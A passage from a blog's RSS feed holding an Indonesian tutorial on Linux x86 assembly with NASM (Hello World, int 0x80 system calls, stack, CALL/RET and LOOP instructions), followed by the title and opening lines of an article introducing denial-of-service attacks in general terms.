<p style="text-align: justify;"><strong>The Classic &#8220;Hello World&#8221;</strong></p>
<p style="text-align: justify;">Cukup sudah berteori, kini kita mulai berbasah-basah. Mari kita buat program pertama dalam assembly yang menampilkan teks &#8220;Hello World&#8221;. Dalam artikel ini saya menggunakan format syntax Intel, bukan AT&amp;T. Silakan ketik source berikut dan simpan dalam nama hello.asm</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">; section text khusus buat code</span>
section <span style="color: #339933;">.</span>text 
&nbsp;
global _start
&nbsp;
_start<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; systemcall =&amp;gt; write(1,msg,len)</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span>len   <span style="color: #666666; font-style: italic;">; panjang string dimasukkan dalam register EDX</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span>msg  <span style="color: #666666; font-style: italic;">; alamat memori yang menyimpan string dimasukkan dalam register ECX</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">1</span>     <span style="color: #666666; font-style: italic;">; file descriptor (1=stdout=defaultnya console) disimpan dalam register EBX</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">4</span>     <span style="color: #666666; font-style: italic;">; Nomor syscall 4 adalah fungsi sys_write()</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>        <span style="color: #666666; font-style: italic;">; panggil system call dengan interrupt 80 hexa.</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; systemcall =&amp;gt; exit(0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebx</span>     <span style="color: #666666; font-style: italic;">; membuat EBX menjadi 0 sebagai return code ketika exit</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">1</span>     <span style="color: #666666; font-style: italic;">; nomor syscall 1 adalah fungsi exit()</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>        <span style="color: #666666; font-style: italic;">; panggil system call dengan interrupt 80 hexa.</span>
&nbsp;
section <span style="color: #000000; font-weight: bold;">.data</span> <span style="color: #666666; font-style: italic;">; section data khusus buat data/variable</span>
msg <span style="color: #000000; font-weight: bold;">db</span> <span style="color: #7f007f;">&quot;Hello, World!&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0xa</span> <span style="color: #666666; font-style: italic;">; String diikuti dengan 0xA yaitu new line \n.</span>
len equ $ <span style="color: #339933;">-</span> msg  <span style="color: #666666; font-style: italic;">; Panjang string didapat dengan mengurangi address di baris ini dengan alamat string.</span></pre></div></div>

<p style="text-align: justify;">Setelah itu kita akan mengcompile file ASM itu menjadi object code berformat ELF dengan NASM (netwide assembler). Setelah itu akan terbentuk file hello.o yang harus dilink dengan linker LD agar menjadi format executable.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nasm -f elf hello.asm
$ ld -s -o hello hello.o
$ ./hello
Hello, World!</pre></div></div>

<p style="text-align: justify;">Selamat, anda telah berhasil membuat program Hello World dalam bahasa Assembly. Program di atas sangat sederhana, kita memanggil system call write() untuk menampilkan string (msg), kemudian kita memanggil system call exit() untuk keluar dari program dan program selesai. String msg kita taruh dalam section .data karena section tersebut khusus untuk menyimpan data/variabel. Sedangkan instruksi assembly disimpan dalam section .text karena section text khusus untuk menyimpan code.</p>
<p><strong>Hello World Opcode</strong></p>
<p align="justify">Untuk melihat keterkaitan antara assembly dan bahasa mesin kita bisa melihat opcode dari program assembly yagn kita buat dengan program objdump pada gambar berikut ini.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/opcode-assembly1.png"><img class="aligncenter size-full wp-image-1698" title="hubungan assembly dan opcode" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/opcode-assembly1.png" alt="hubungan assembly dan opcode" width="613" height="489" /></a></p>
<p align="justify">Opcode di sebelah kiri adalah versi bahasa mesin dari bahasa assembly di sebelah kanannya. Hal ini menunjukkan eratnya kaitan antara assembly dan bahasa mesin. Contohnya adalah instruksi assembly INT 0&#215;80 diterjemahkan ke bahasa mesin: 0xCD 0&#215;80 (dalam hexa) atau 11001101 (binary dari 0xCD) 10000000 (binary dari 0&#215;80).</p>
<p align="justify">Perhatikan bahwa pada source code assembly, &#8220;MOV EDX, len&#8221; setelah dicompile diterjemahkan menjadi &#8220;MOV EDX, 0xE&#8221;. Hal ini karena len adalah konstanta berisi panjang string &#8220;Hello, World!&#8221; yaitu sepanjang 14 karakter. Instruksi assembly pada source code &#8220;MOV ECX, msg&#8221; setelah dicompile diterjemahkan menjadi &#8220;MOV ECX, 0&#215;80490a4&#8243;. Mengapa msg diterjemahkan menjadi 0&#215;80490a4? Hal ini karena msg adalah address dari string &#8220;Hello, World!&#8221; sehingga setelah dicompile diterjemahkan menjadi alamat 0&#215;80490a4. Terlihat juga pada gambar di atas pada lokasi 0&#215;80490a4 terdapat string &#8220;Hello, World!&#8221;.</p>
<p><strong>System Call</strong></p>
<p align="justify">Dalam program hello world di atas kita memanfaatkan system call untuk menampilkan teks di layar monitor. System call adalah gerbang menuju kernel mode bagi program yang membutuhkan servis yang hanya bisa dikerjakan oleh kernel.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/user-kernel-mode.png"><img class="aligncenter size-full wp-image-1703" title="system call adalah gateway menuju kernel mode" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/user-kernel-mode.png" alt="system call adalah gateway menuju kernel mode" width="441" height="457" /></a></p>
<p align="justify">System call di Linux dipanggil dengan menggunakan interrupt 80 hexa. Nomor system call dimasukkan dalam register EAX. Daftar lengkap nomor systemcall di Linux bisa dibaca di file header: /usr/include/asm/unistd.h. Berikut adalah cuplikan isi dari file unistd.h</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_
&nbsp;
/*
 * This file contains the system call numbers.
 */
&nbsp;
#define __NR_restart_syscall      0
#define __NR_exit                 1
#define __NR_fork                 2
#define __NR_read                 3
#define __NR_write                4
#define __NR_open                 5
#define __NR_close                6
#define __NR_waitpid              7
#define __NR_creat                8</pre></div></div>

<p align="justify">Dalam contoh hello world kita memanfaatkan system call nomor 4 (write) dan nomor 1 (exit). Untuk mengetahui cara pemakaian dan argumen untuk system call tersebut, kita bisa gunakan man di Linux.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ man 2 write
SYNOPSIS
ssize_t write(int fd, const void *buf, size_t count);
$ man 2 exit
void _exit(int status);</pre></div></div>

<p align="justify">Dari manual system call write meminta 3 argument: yaitu file descriptor bertipe integer, alamat memori tempat string berada, dan terakhir adalah panjang string bertipe integer. Ketika argumen tersebut disimpan dalam register mulai dari EBX, ECX dan EDX. Argumen pertama di EBX, argumen kedua di ECX dan ketiga di EDX. Register EAX dipakai untuk menyimpan nomor system call. Dari manual system call exit meminta 1 argument: yaitu kode status bertipe integer yang disimpan dalam register EBX.</p>
<p align="justify">Dalam contoh hello world di atas kita menggunakan 3 intruksi assembly yaitu MOV, XOR dan INT. Mari kita bahas intstruksi tersebut.</p>
<p align="justify"><strong>Instruksi MOV</strong></p>
<p align="justify">Kita menggunakan MOV untuk menyalin data dari sumber ke tujuan. Sumber dan tujuan bisa alamat memori, atau register. Perhatikan contoh berikut:</p>
<table border="0">
<tbody>
<tr>
<th>NASM/Intel</th>
<th>AT&amp;T</th>
<th>Deskripsi</th>
</tr>
<tr>
<td>MOV EAX, 0&#215;51</td>
<td>MOVL $0&#215;51, %EAX</td>
<td>Mengisi register EAX dengan nilai 51 hexa</td>
</tr>
<tr>
<td>MOV ESP, EBP</td>
<td>MOVL EBP, ESP</td>
<td>Menyalin isi register EBP ke register ESP</td>
</tr>
</tbody>
</table>
<p align="justify">Perbedaan antara sintaks NASM dan AT&amp;T adalah arah pengkopian. Dalam sintaks NASM, tujuan ada pada operand pertama, sedangkan dalam sintaks AT&amp;T tujuan adalah operand ke-2.</p>
<p align="justify"><strong>Instruksi XOR</strong></p>
<p align="justify">Instruksi XOR digunakan untuk melakukan operasi logika Xclusive OR. XOR akan menghasilkan 0 bila kedua operandnya sama, dan menghasilkan 1 bila tidak sama. XOR ini biasanya dipakai untuk membuat register menjadi 0 dengan melakukan XOR untuk operand yang sama seperti pada contoh hello world tersebut.</p>
<table border="0">
<tbody>
<tr>
<th>NASM/Intel</th>
<th>AT&amp;T</th>
<th>Deskripsi</th>
</tr>
<tr>
<td>XOR EBX,EAX</td>
<td>XOR %EAX,%EBX</td>
<td>XOR isi EBX dengan EAX, hasilnya disimpan di EBX</td>
</tr>
</tbody>
</table>
<p align="justify"><strong>Instruksi INT</strong></p>
<p align="justify">Instruksi INT digunakan untuk mengirim sinyal interrupt ke prosesor. Dalam contoh di atas kita memakai interrupt nomor 80 hexa untuk meminta layanan dari kernel.</p>
<table border="0">
<tbody>
<tr>
<th>NASM/Intel</th>
<th>AT&amp;T</th>
<th>Deskripsi</th>
</tr>
<tr>
<td>INT 0&#215;80</td>
<td>INT $0&#215;80</td>
<td>Memanggil interrupt nomor 80 hexa</td>
</tr>
</tbody>
</table>
<p><strong>Contoh Lain: Hello World X Times</strong></p>
<p align="justify">Kali ini kita akan memodifikasi program hello world di atas agar bisa menampilkan pesan yang sama berkali-kali tergantung dari argumen yang dimasukkan user.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">section <span style="color: #339933;">.</span>text
&nbsp;
global _start
&nbsp;
_start<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; pop number of argc (diabaikan)</span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; pop argv[0] (diabaikan karena berisi nama program)</span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; pop argv[1] (ini dipakai untuk stringtoint)</span>
<span style="color: #00007f; font-weight: bold;">call</span> stringtoint <span style="color: #666666; font-style: italic;">; ECX berisi argumen bertipe integer sebagai counter</span>
&nbsp;
_print<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ecx</span>              <span style="color: #666666; font-style: italic;">; selamatkan counter di stack karena ECX dipakai juga di _print_hello</span>
<span style="color: #00007f; font-weight: bold;">call</span> _print_hello     <span style="color: #666666; font-style: italic;">; print hello world</span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">ecx</span>               <span style="color: #666666; font-style: italic;">; ambil lagi counter dari stack karena akan dipakai untuk looping</span>
<span style="color: #00007f; font-weight: bold;">loop</span> _print           <span style="color: #666666; font-style: italic;">; kurangi ECX dengan 1, bila belum 0 kembali ke _print</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; ini system call exit(0)</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">1</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
_print_hello<span style="color: #339933;">:</span>   <span style="color: #666666; font-style: italic;">; systemcall write(1,msg,len)</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span>len
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span>msg
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">1</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">4</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
<span style="color: #00007f; font-weight: bold;">ret</span>
&nbsp;
stringtoint<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; mengubah string di lokasi yang ditunjuk EAX menjadi integer di ECX</span>
<span style="color: #666666; font-style: italic;">; EAX address of string</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ecx</span>   <span style="color: #666666; font-style: italic;">; clear ECX</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebx</span>   <span style="color: #666666; font-style: italic;">; clear EBX</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">eax</span><span style="color: #009900; font-weight: bold;">&#93;</span>  <span style="color: #666666; font-style: italic;">; BL berisi kode ASCII string di lokasi yang ditunjuk EAX</span>
<span style="color: #00007f; font-weight: bold;">sub</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x30</span>   <span style="color: #666666; font-style: italic;">; Kode ascii angka adalah 30h-39h, dikurangkan dengan 30h</span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebx</span>   <span style="color: #666666; font-style: italic;">; ECX ditambah EBX, ECX berisi nilai integer</span>
<span style="color: #00007f; font-weight: bold;">ret</span>
&nbsp;
section <span style="color: #000000; font-weight: bold;">.data</span>
msg <span style="color: #000000; font-weight: bold;">db</span> <span style="color: #7f007f;">&quot;Hello, World!&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0xa</span>
len equ $ <span style="color: #339933;">-</span> msg</pre></div></div>

<p align="justify">Simpan source code di atas dengan nama helloxtimes.asm, lalu compile dan link seperti di bawah ini.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nasm -f elf helloxtimes.asm
$ ld -s -o helloxtimes helloxtimes.o
$ ./helloxtimes 1
Hello, World!
$ ./helloxtimes 2
Hello, World!
Hello, World!
$ ./helloxtimes 3
Hello, World!
Hello, World!
Hello, World!
$ ./helloxtimes 4
Hello, World!
Hello, World!
Hello, World!
Hello, World!</pre></div></div>

<p align="justify">Kita belajar beberapa instruksi baru dalam contoh ke-2 ini, yaitu looping, penggunaan argumen dan prosedur, sedangkan system call yang dipakai tetap sama, yaitu write() dan exit().</p>
<p align="justify">Program kali ini menerima argumen berupa integer 1-9 yang dipakai sebagai counter berapa kali pesan akan muncul di monitor. Argumen ini diambil dari stack dengan instruksi POP. Pada puncak stack ada argc, yaitu jumlah argumen ketika program dijalankan. Di bawahnya berisi address dari argv[0] yaitu nama program. Kemudian di bawahnya lagi baru berisi address dari argv[1] yaitu parameter/argumen pertama. Perhatikan pada baris ke-6 s/d baris ke-8 ada instruksi POP EAX sebanyak tiga kali. Ini dilakukan karena yang diperlukan ada pada posisi ke-3 sehingga kita harus membuang 2 elemen di puncak sebelum bisa mengambil address argv[1]. Address argumen ke-1 diambil dari POP lalu disimpan dalam register EAX. Karena bentuknya masih string, maka harus diubah dulu menjadi integer dengan memanggil prosedur stringtoint pada baris ke-9.</p>
<div id="attachment_1625" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/pophello.png"><img class="size-medium wp-image-1625" title="pophello" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/pophello-300x92.png" alt="Instruksi POP untuk Mengambil Argumen" width="300" height="92" /></a><p class="wp-caption-text">Instruksi POP untuk Mengambil Argumen</p></div>
<p align="justify">Ketika program dijalankan dengan satu argumen seperti &#8220;./helloxtimes 7&#8243;. Maka jumlah argumen (argc) akan berisi 2, yaitu nama program itu sendiri, dan satu argumennya. ARGC akan disimpan pada puncak stack, dan elemen di bawahnya berisi alamat memori dari nama program, dan dibawahnya lagi berisi alamat memori dari argumen pertama. Perhatikan gambar di atas yang menunjukkan proses pengambilan alamat memori berisi string argumen pertama dari stack. Dalam contoh tersebut argumen adalah string &#8220;7&#8243;, yaitu karakter berkode ASCII 37 hexa diikuti dengan ASCII 0 (karakter NULL). Alamat memori berisi string argumen pertama itu diambil dari stack dan disimpan di register EAX.</p>
<p align="justify">Pada prosedur stringtoint, register EAX berisi address string yang akan diubah menjadi integer. Kita hanya mengambil karakter pertama saja, pada baris ke-35 dengan instruksi MOV, isi memori pada address yang ditunjuk oleh EAX dicopy ke register BL.</p>
<blockquote><p>&#8220;MOV EBX, [EAX]&#8221; berbeda dengan &#8220;MOV EBX,EAX&#8221;. MOV EBX,[EAX] berarti menyalin isi memori pada alamat yang disimpan di EAX ke dalam register EBX. Sedangkan MOV EBX,EAX berarti menyalin isi register EAX ke register EBX</p></blockquote>
<p align="justify">Saya menggunakan register BL karena kode ASCII lebarnya hanya 8 bit. Bila benar berisi angka, maka register BL akan berisi nilai 30h-39h (kode ascii untuk &#8220;0&#8243;-&#8221;9&#8243;). Setelah itu register BL dikurangi dengan 30h untuk mendapatkan nilai dari 0-9. Setelah itu hasilnya ditambahkan ke register ECX sehingga kembali dari prosedur ini dengan nilai integer hasil konversi di register ECX.</p>
<p align="justify">Setelah mendapatkan nilai argumen bertipe integer di register ECX, selanjutnya ECX ini perlu diselamatkan dulu dalam stack (baris 12) sebab ECX akan dipakai dalam prosedur _print_hello (baris 13). ECX dipakai sebagai alamat string msg ketika memanggil system call write(). Setelah kembali dari prosedur _print_hello, nilai ECX perlu dikembalikan seperti semula dengan POP ECX (baris 14) sebab akan dipakai sebagai counter dalam LOOP (baris 15). Ketika menjalankan instruksi LOOP, register ECX akan dikurangi 1, kemudian bila ECX &gt; 0 maka program akan lompat ke _print. Bila ECX bernilai 0, maka loop berhenti dan menjalankan system call exit(0).</p>
<p align="justify">Setelah memahami cara kerja program contoh ke-2 itu. Sekarang mari kita bahas instruksi baru yang ada di sana: CALL, RET, PUSH, POP, LOOP.</p>
<p><strong>Instruksi PUSH dan POP</strong></p>
<p align="justify">Instruksi PUSH digunakan untuk menyimpan nilai ke dalam stack. Kebalikannya adalah instruksi POP untuk mengambil nilai dari stack. Stack dalam Linux membesar ke alamat memori yang lebih rendah. Puncak stack ada di alamat rendah, sedangkan dasar stack ada di alamat yang lebih tinggi.</p>
<table border="0">
<tbody>
<tr>
<th>NASM/Intel</th>
<th>AT&amp;T</th>
<th>Deskripsi</th>
</tr>
<tr>
<td>PUSH value</td>
<td>PUSHL value</td>
<td>Menyimpan nilai ke dalam stack</td>
</tr>
<tr>
<td>POP dest</td>
<td>POPL dest</td>
<td>Mengambil nilai dari stack ke dest</td>
</tr>
</tbody>
</table>
<p align="justify"><strong><br />
Struktur Data Stack</strong></p>
<p align="justify">Stack adalah struktur data yang mirip seperti tumpukan piring. Data yang diambil dari stack adalah data yang dimasukkan terakhir, atau istilahnya adalah LIFO (last in first out). Jadi kalau kita ingin mengambil data di tengah-tengah tumpukan, caranya adalah dengan mengambil dulu data dari puncak sampai habis, sehingga data yang kita inginkan berada di puncak stack.</p>
<div id="attachment_1643" class="wp-caption aligncenter" style="width: 499px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/pushandpop1.png"><img class="size-full wp-image-1643" title="pushandpop" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/pushandpop1.png" alt="PUSH dan POP dalam Stack" width="489" height="363" /></a><p class="wp-caption-text">PUSH dan POP dalam Stack</p></div>
<p align="justify">Reguster ESP menunjukkan alamat memori dari puncak stack. Setiap ada instruksi PUSH, maka register ESP berkurang (ingat stack bertumbuh ke alamat yang makin mengecil) karena puncak stack berubah. Begitu pula bila sebaliknya bila ada instruksi POP, maka register ESP akan bertambah.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">PUSH</span> <span style="color: #00007f;">EAX</span></pre></div></div>

<p align="justify">PUSH EAX di atas sama dengan dua instruksi di bawah ini:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">SUB</span> <span style="color: #00007f;">ESP</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">4</span>
<span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #00007f;">SS</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">EAX</span></pre></div></div>

<p align="justify">PUSH EAX (4 byte) bisa dilakukan dengan mengurangkan ESP dengan 4, kemudian menyalin isi EAX ke memori di lokasi SS:[ESP], yaitu di segment stack pada offset yang ditunjuk oleh ESP. DWORD PTR menunjukkan bahwa lebar data yang akan disalin ke memori dalam instruksi MOV itu selebar 4 byte.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">POP</span> <span style="color: #00007f;">EAX</span></pre></div></div>

<p align="justify">POP EAX di atas sama dengan dua instruksi di bawah ini:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">MOV</span> <span style="color: #00007f;">EAX</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #00007f;">SS</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">ADD</span> <span style="color: #00007f;">ESP</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">4</span></pre></div></div>

<p align="justify">POP EAX (4 byte) bisa dilakukan dengan menyalin isi memori di lokasi SS:[ESP], yaitu di segment stack pada offset yang ditunjuk oleh ESP ke register EAX, lalu menambahkan ESP dengan 4. DWORD PTR menunjukkan bahwa lebar data yang akan disalin ke memori dalam instruksi MOV itu selebar 4 byte.</p>
<p><strong>Instruksi CALL dan RET</strong></p>
<p align="justify">Instruksi CALL digunakan untuk memanggil sebuah prosedur. Sedangkan RET dipakai untuk kembali dari prosedur kembali ke lokasi setelah instruksi pemanggilan. Ketika instruksi CALL dijalankan,  prosesor menyimpan alamat instruksi sesudah instruksi CALL ke dalam stack (return address), kemudian prosesor lompat ke alamat subroutine yang dituju. Ketika instruksi RET dijalankan, maka prosesor mengambil (POP) return address (alamat yang di-push ketika CALL), kemudian loncat ke alamat tersebut.</p>
<table border="0">
<tbody>
<tr>
<th>NASM/Intel</th>
<th>AT&amp;T</th>
<th>Deskripsi</th>
</tr>
<tr>
<td>CALL subroutine1</td>
<td>CALL subroutine1</td>
<td>Memanggil prosedur subroutine1</td>
</tr>
<tr>
<td>RET</td>
<td>RET</td>
<td>Kembali dari prosedur</td>
</tr>
</tbody>
</table>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/CALL-ret.png"><img class="aligncenter size-full wp-image-1664" title="CALL dan RET" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/CALL-ret.png" alt="CALL dan RET" width="555" height="327" /></a></p>
<p align="justify"><strong>Instruksi LOOP</strong></p>
<p align="justify">LOOP digunakan untuk melakukan looping sejumlah nilai yang ada pada register ECX. Ketika ada instruksi LOOP, prosesor akan mengurangi nilai ECX dengan 1, kemudian membandingkan hasilnya. Bila nilai ECX sekarang masih &gt; 0, maka prosesor akan loncat ke alamat yang ditunjuk dalam LOOP. Bila nilai ECX sekarang menjadi 0, prosesor tidak akan loncat, tapi melanjutkan mengerjakan instruksi selanjutnya setelah LOOP.</p>
<table border="0">
<tbody>
<tr>
<th>NASM/Intel</th>
<th>AT&amp;T</th>
<th>Deskripsi</th>
</tr>
<tr>
<td>LOOP address</td>
<td>LOOP address</td>
<td>Looping ke alamat yang ditunjukkan oleh address bila ECX &gt; 0.</td>
</tr>
</tbody>
</table>
<p align="justify">Instruksi tunggal &#8220;LOOP address&#8221; ekivalen dengan 2 instruksi assembly berikut:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">DEC</span> <span style="color: #00007f;">ECX</span>   <span style="color: #666666; font-style: italic;">; DECREMENT: ECX = ECX - 1, register ECX dikurangi 1</span>
<span style="color: #00007f; font-weight: bold;">JNZ</span> address <span style="color: #666666; font-style: italic;">; JUMP IF NOT ZERO: Bila ECX masih belum 0, JUMP ke address</span></pre></div></div>

<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/LOOP-address.png"><img class="aligncenter size-full wp-image-1659" title="Ilustrasi LOOP" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/LOOP-address.png" alt="Ilustrasi LOOP" width="380" height="464" /></a></p>
<p align="justify">Pada gambar di atas ada dua kondisi yang mungkin yaitu ECX &gt; 0 atau ECX = 0. Mungkin ada yang bertanya, lho bagaimana dengan kondisi ECX &lt; 0 ? Ingat komputer hanya mengenal 2 simbol, yaitu 0 dan 1, jadi pada dasarnya tidak ada &#8220;-1&#8243; atau &#8220;-0&#8243; dalam representasi binary. Bilangan negatif direpresntasikan dengan pengkodean two-complement, silakan baca di <a href="http://en.wikipedia.org/wiki/Signed_number_representations">signed number representation</a> karena itu diluar topik yang kita bahas sekarang.</p>
<p align="justify">Bila ECX bernilai 0 sebelum mengerjakan instruksi LOOP, maka yang terjadi adalah program akan looping sebanyak 0xFFFFFFFF atau 4.294.967.295 kali. Hal ini terjadi karena 0 &#8211; 1 = -1 yang dalam binary adalah 0xFFFFFFFF dengan sistem two-complement.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=cHmgajuU4QA:W1PK2edQ7N0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=cHmgajuU4QA:W1PK2edQ7N0:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=cHmgajuU4QA:W1PK2edQ7N0:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=cHmgajuU4QA:W1PK2edQ7N0:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=cHmgajuU4QA:W1PK2edQ7N0:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=cHmgajuU4QA:W1PK2edQ7N0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=cHmgajuU4QA:W1PK2edQ7N0:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=cHmgajuU4QA:W1PK2edQ7N0:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/programming/belajar-assembly-di-linux/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Memahami Serangan Denial of Service</title>
		<link>http://www.ilmuhacking.com/web-security/memahami-serangan-denial-of-service/</link>
		<comments>http://www.ilmuhacking.com/web-security/memahami-serangan-denial-of-service/#comments</comments>
		<pubDate>Sat, 10 Oct 2009 07:04:33 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[DDOS]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[zombie]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1539</guid>
		<description><![CDATA[Dalam artikel ini saya akan menjelaskan mengenai jenis serangan yang bisa dikatakan tidak ada obatnya, yaitu denial of service atau DoS. Bila serangan DoS ini dilakukan secara beramai-ramai dan terorganisir dengan baik, maka akan menghasilkan kerusakan yang dahsyat dan sanggup melumpuhkan situs-situs populer seperti twitter.com dan metasploit.com.
Apa itu DoS
Denial of service adalah jenis serangan yang [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Dalam artikel ini saya akan menjelaskan mengenai jenis serangan yang bisa dikatakan tidak ada obatnya, yaitu denial of service atau DoS. Bila serangan DoS ini dilakukan secara beramai-ramai dan terorganisir dengan baik, maka akan menghasilkan kerusakan yang dahsyat dan sanggup melumpuhkan situs-situs populer seperti <a href="http://www.wired.com/epicenter/2009/08/twitter-apparently-down/">twitter.com</a> dan <a href="http://blog.metasploit.com/2009/02/pathetic-ddos-vs-security-sites.html">metasploit.com</a>.</p>
<p style="text-align: justify;"><strong>Apa itu DoS</strong></p>
